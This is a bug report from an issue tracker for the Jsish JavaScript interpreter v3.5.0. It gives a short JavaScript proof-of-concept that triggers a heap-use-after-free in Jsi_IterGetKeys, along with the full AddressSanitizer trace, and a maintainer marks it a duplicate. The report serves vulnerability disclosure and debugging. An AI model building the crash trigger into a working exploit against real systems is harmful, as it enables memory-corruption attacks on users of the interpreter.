Heap-use-after-free src/jsiValue.c:1458 in Jsi_IterGetKeys

[hope-fly]

Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS='-fsanitize=address'
make

Test case

Function.prototype = 10;
function JSEtest() {
    var r = function () {};
    for (var a in r) {
        {
            let a = function() { for (var r=0;r<6;++r) ++a; };
            a();
        }
    }
}
JSEtest();

​

Execution steps & Output

$ ./jsish/jsish poc.js
=================================================================
==56398==ERROR: AddressSanitizer: heap-use-after-free on address 0x603000000228 at pc 0x55bb407f1264 bp 0x7ffd85145b70 sp 0x7ffd85145b60
READ of size 1 at 0x603000000228 thread T0
    #0 0x55bb407f1263 in Jsi_IterGetKeys src/jsiValue.c:1458
    #1 0x55bb407f15ab in Jsi_IterGetKeys src/jsiValue.c:1494
    #2 0x55bb407f3ffa in jsi_ValueObjGetKeys src/jsiValue.c:1154
    #3 0x55bb40b22ca3 in jsiEvalCodeSub src/jsiEval.c:1614
    #4 0x55bb40b4315e in jsi_evalcode src/jsiEval.c:2204
    #5 0x55bb40866834 in jsi_FuncCallSub src/jsiProto.c:220
    #6 0x55bb40b2f5ab in jsiFunctionSubCall src/jsiEval.c:796
    #7 0x55bb40b2f5ab in jsiEvalFunction src/jsiEval.c:837
    #8 0x55bb40b2f5ab in jsiEvalCodeSub src/jsiEval.c:1264
    #9 0x55bb40b4315e in jsi_evalcode src/jsiEval.c:2204
    #10 0x55bb40b47274 in jsi_evalStrFile src/jsiEval.c:2665
    #11 0x55bb4083666a in Jsi_Main src/jsiInterp.c:936
    #12 0x55bb4103b03a in jsi_main src/main.c:47
    #13 0x7f763bbb4bf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
    #14 0x55bb407ca969 in _start (/usr/local/bin/jsish+0xe8969)

0x603000000228 is located 8 bytes inside of 32-byte region [0x603000000220,0x603000000240)
freed by thread T0 here:
    #0 0x7f763c8237a8 in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xde7a8)
    #1 0x55bb407eb6cf in Jsi_DecrRefCount src/jsiValue.c:52

previously allocated by thread T0 here:
    #0 0x7f763c823d28 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded28)
    #1 0x55bb4083baa4 in Jsi_Calloc src/jsiUtils.c:57

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiValue.c:1458 in Jsi_IterGetKeys
Shadow bytes around the buggy address:
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff8000: fa fa 00 00 00 00 fa fa 00 00 07 fa fa fa 00 00
  0x0c067fff8010: 00 00 fa fa 00 00 03 fa fa fa 00 00 00 00 fa fa
  0x0c067fff8020: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8030: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
=>0x0c067fff8040: 00 00 fa fa fd[fd]fd fd fa fa 00 00 00 00 fa fa
  0x0c067fff8050: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8060: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
  0x0c067fff8070: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa
  0x0c067fff8080: 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00
  0x0c067fff8090: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==56398==ABORTING

Credits: Found by OWL337 team.

[pcmacdon]

Duplicate of #78